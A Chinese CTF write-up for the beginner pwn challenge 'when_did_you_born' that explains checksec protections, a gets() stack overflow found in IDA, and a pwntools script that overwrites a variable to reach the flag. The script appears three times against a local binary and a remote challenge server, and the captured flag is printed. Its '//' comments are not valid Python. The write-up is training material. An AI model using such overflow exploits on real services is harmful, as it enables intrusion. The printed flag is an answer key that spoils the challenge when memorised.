[CTF-PWN]攻防世界新手村-when_did_you_born[wp]

事件起因(无语)

手残博主因在27日从根地址误删了自己两年半配置和使用的kali虚拟机。。。在一步步恢复环境配置的时候,从头到尾刷一遍题,总结思路。

题目分析

题目
开启场景后,服务端会开启对应的端口,并在端口上部署和附件相同的ELF二进制可执行文件,我们要做的就是下载附件并在本地进行反汇编,反编译等操作分析程序漏洞,从而利用漏洞获取题目的flag。
从描述中可以看出当前程序是要进行年龄的输入操作的,有输入操作,还是在新手村,那么大概率是gets()等C函数输入漏洞,进一步猜测是普通的内存地址覆盖的题。

checksec监测

checksec监测程序开启的防御状态
checksec的常用命令是:checksec [filename] ,也就是checksec后面加上你的程序;
也可以用gdb插件中的checksec来监测,gdb中直接checksec就可以了,如下:
pwngdb

checksec可以检查程序保护机制,从而查看题目开启了哪些保护机制,有助于对题目的初步分析。
Arch:程序位数(查看是多少位的程序,比如32或64位),也可以查看是哪个微处理器,比如i386为32位微处理器,amd64为64位微处理器(x86架构的延伸产品,称为x86-64,后改名为AMD64);
RELRO:设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELEO为"Partial RELRO",说明我们对GOT表有写权限。
Stack:栈溢出监测,查看程序是否开启了Canary防护(一种对函数栈的监测保护:还没等到栈溢出,先返回canary word,从而监测栈溢出情况)。
NX :No-eXecute(不可执行),相等于windows的DEP(数据执行保护),就是将攻击者构造的payload和shellcode(一般为系统远程执行命令)所在的内存页标识为不可执行,当攻击代码想要以数据代码伪装成可执行代码时,就会被检测到,从而使CPU抛出异常,从而不执行恶意指令。
PIE:内存地址空间分布随机化(ASLR:address space layout randomization)
checksec
从checksec检测中可以看出

  1. 这是一个64位小端序程序;
  2. 不完全开启RELRO;
  3. 金丝雀已开启
  4. NX开启
  5. 没有开启地址空间随机化

IDA pro分析

IDA分析
在main函数上按F5进入伪代码:
gets()函数
C语言中gets()函数漏洞:gets()函数的缓冲区用户无法指定其一次最多读入多少字节的内容,非常适用于二进制溢出攻击。
可以看到输入v4后接下来就是v5的地址,通过手残博主下面的图了解一下攻击思路:手残
程序的关键是:只要V5=1926,就可以得到flag,但是之前限制了v5的输入,不可以直接输入1926,不然就会告诉你“You Cannot Born In 1926!”
图一中画的是一个内存栈,我们可以通过图二的方式,将gets()函数不限制输入字节的漏洞,用输入的v4来覆盖v5的值,从而达到V5=1926的目的。
内存地址空间
查看v4和v5的内存空间后,我们计算出他们之间的内存空间大小为0x20-0x18,所以只要我们将其中填充脏数据,构建payload就可以实现溢出攻击了。
好了,现在思路清晰,我们来构建我们的exp攻击脚本。

编写exp

  • interactive() : 直接进行交互,相当于回到shell的模式,在取得shell之后使用
  • recv(numb = 4096,timeout = default):接收指定字节
  • recvall() : 一直接收知道EOF
  • recvline(keepends = True): 接收一行,keepends为是否保留行尾的\n,默认为Ture
  • recvuntil((delims,drop=False):一直读到delims的pattern出现为止
  • recvrepeat(timeout=default): 持续接收知道EOF或者timeout
  • send(data) :发送数据
  • sendline(data) : 发送一行数据,相当于在数据末尾加\n
    python3(pwntools)
from pwn import *

context(os='linux',arch="amd64",log_level="debug") //规范编程
content=0 //使程序判定是攻本地程序还是远程服务器

def main():
	if content == 1: //攻本地
		peiqi = process("when_did_you_born") //process启动程序交互,用于代码显示和后期调试
	else:
		peiqi = remote("220.249.52.133",53770) //remote启动互联网主机交互,同上

	payload = b'a' * (0x20-0x18) + p64(1926) //因为py3中默认不是比特流,所以要用'b'来进行类型转换,

	peiqi.recvuntil("What's Your Birth?\n") //
	peiqi.sendline("1900")

	peiqi.recvuntil("What's Your Name?\n")
	peiqi.sendline(payload)

	peiqi.interactive()

main()

攻本地程序

content = 1就是pwn本地:

from pwn import *

context(os='linux',arch="amd64",log_level="debug") //规范编程
content=1 //使程序判定是攻本地程序还是远程服务器

def main():
	if content == 1: //攻本地
		peiqi = process("when_did_you_born") //process启动程序交互,用于代码显示和后期调试
	else:
		peiqi = remote("220.249.52.133",53770) //remote启动互联网主机交互,同上

	payload = b'a' * (0x20-0x18) + p64(1926) //因为py3中默认不是比特流,所以要用'b'来进行类型转换,

	peiqi.recvuntil("What's Your Birth?\n") //
	peiqi.sendline("1900")

	peiqi.recvuntil("What's Your Name?\n")
	peiqi.sendline(payload)

	peiqi.interactive()

main()

pwn本地
因为你的本地程序并没有flag,所以这里显示cat:没有找到,说明你的exp基本上已经编写成功,现在只要将content修改为0就可以pwn远程了

攻远程服务器

from pwn import *

context(os='linux',arch="amd64",log_level="debug") //规范编程
content=0 //使程序判定是攻本地程序还是远程服务器

def main():
	if content == 1: //攻本地
		peiqi = process("when_did_you_born") //process启动程序交互,用于代码显示和后期调试
	else:
		peiqi = remote("220.249.52.133",53770) //remote启动互联网主机交互,同上

	payload = b'a' * (0x20-0x18) + p64(1926) //因为py3中默认不是比特流,所以要用'b'来进行类型转换,

	peiqi.recvuntil("What's Your Birth?\n") //
	peiqi.sendline("1900")

	peiqi.recvuntil("What's Your Name?\n")
	peiqi.sendline(payload)

	peiqi.interactive()

main()

pwn远程
成功pwn到flag:cyberpeace{d7df95708ccde55963d5553eaa5d0b03}

总结

一道很简单的pwn题。

猜你喜欢

转载自blog.csdn.net/murongxuege/article/details/108874529